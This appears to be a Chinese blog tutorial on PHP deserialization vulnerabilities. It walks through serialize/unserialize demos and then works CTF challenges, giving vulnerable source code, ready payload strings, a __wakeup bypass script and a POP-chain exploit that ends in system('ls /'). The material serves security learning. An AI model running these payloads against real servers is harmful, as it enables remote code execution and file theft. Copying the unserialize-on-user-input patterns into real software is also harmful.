一、反序列化漏洞
serialize(),unserialize()这两个函数
说一说序列化和反序列化的,序列化说通俗点就是把一个对象变成可以传输的字符串。比如一个类class,在内存中是一个类,但是要持久化或者进行传输,就需要序列化,意思其实就是把类存储起来而已。
demo1:类的序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class Car{ var $size; var $color; function Car($size="big"){ $this->size=$size; } function what_size(){ return $this->size; } } $mycar=new Car(); $mycar->color="green"; echo var_dump($mycar); echo "<br>"; echo serialize($mycar); ?>
|
输出
1 2
| object(Car)#1 (2) { ["size"]=> string(3) "big" ["color"]=> string(5) "green" } O:3:"Car":2:{s:4:"size";s:3:"big";s:5:"color";s:5:"green";}
|
其实我觉得序列化和var_dump功能类似吧,反正就是不能有
,反序列化即把字符串O:3:"Car":2:{s:4:"size";s:3:"big";s:5:"color";s:5:"green";}
转为类,但是如果是类,需要先定义类
demo2:类的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
class kitty{ var $age; function Car($age="18"){ $this->size=$size; } } $seriStr='O:5:"kitty":1:{s:3:"age";s:2:"18";}'; $new_me=unserialize($seriStr); echo "<br>"; echo var_dump($new_me); echo "<br>"; echo $new_me->age; echo "<br>"; ?>
|
输出
1 2
| object(kitty)#2 (1) { ["age"]=> string(2) "18" } 18
|
demo3:数组的序列化和反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
$data=['php','java',123]; echo "<br>"; echo serialize($data);
$new_ar='a:3:{i:0;s:5:"kitty";i:1;s:4:"java";i:2;s:6:"python";}'; echo "<br>"; echo var_dump(unserialize($new_ar)); echo "<br>"; echo unserialize($new_ar)[0]; ?>
|
输出
1 2 3
| a:3:{i:0;s:3:"php";i:1;s:4:"java";i:2;i:123;} array(3) { [0]=> string(5) "kitty" [1]=> string(4) "java" [2]=> string(6) "python" } kitty
|
语法规则
![](/2019/07/20/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/1.png)
二、反序列化漏洞产生
其实还是一个变量覆盖的问题吧,我们传入的字符串反序列化,导致控制参数或者任意代码执行
![](/2019/07/20/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/2.png)
代码执行
1 2 3 4 5 6 7 8 9
| <?php class Example { var $var = ""; function __destruct() { eval($this->var); } } unserialize($_GET["saved_code"]); ?>
|
payloadhttp://localhost/ser.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo();%22;}
jarvios例题:
源码泄露给了两个文件
index.php
1 2 3 4 5 6 7 8 9
| <?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>
|
shield.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
|
这里我们可以看见只要操控$file这个参数为pctf.php就可以了,这里construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响我们对$file的操作
payloadO:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
“百度杯”CTF比赛 十月场 Hash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class Demo { private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) { $this->file = $file; }
function __destruct() { echo @highlight_file($this->file, true); }
function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { $this->file = 'Gu3ss_m3_h2h2.php'; } } }
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {
@unserialize($var); } } else { highlight_file("Gu3ss_m3_h2h2.php"); } ?>
|
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } } $a = new Demo('f15g_1s_here.php');
$s = serialize($a); echo $s; echo "\n"; $s = str_replace('O:4', 'O:+4',$s); $s = str_replace(':1:', ':2:' ,$s); echo $s; echo "\n"; echo base64_encode($s);
|
原生类poc
1 2 3 4 5 6 7 8
| <?php foreach (get_declared_classes() as $class){ foreach (get_class_methods($class) as $method){ if ($method == "open"){ echo "$class -> $method"."<br>"; } } }
|
call_user_func 一个题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?php highlight_file(__FILE__); class Study{ public $name; public function __destruct(){
return $this->name.",Good good study, day day up!"; } } class A{ public $name; public function __toString(){
return "Hi".$this->name; } } class Name{ public $class; public $name; public function __toString(){ return $this->class->name; } } class B{ public $class; public function __get($name){
($this->class)(); } } class C{ public $func; public $args; public function __invoke(){
if(!is_array($this->args)){ die("Only array!"); } call_user_func($this->func, $this->args); } } class Flag{ public $a; public $flag; public $c; public function getflag(){
$this->flag = "phpinfo();"; $this->a = $this->b; echo eval($this->flag); } } $cmd = $_GET['cmd']; if (isset($cmd)){ unserialize($_GET['cmd']); }
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php class Study{ public $name; public function __construct(){ $this->name=new A(); } } class A{ public $name; public function __construct(){ $this->name=new Name(); } } class Name{ public $class; public $name; public function __construct(){ $this->class=new B(); } } class B{ public $class; public function __construct(){ $this->class=new C(); } } class C{ public $func; public $args; public function __construct(){ $this->func=array(new Flag,"getflag"); $this->args=array(12); } } class Flag{ public $a; public $flag; public $c; public function __construct(){ $this->a = &$this->flag; $this->b="system('ls /');"; } } $s=new Study(); echo urlencode(serialize($s));
|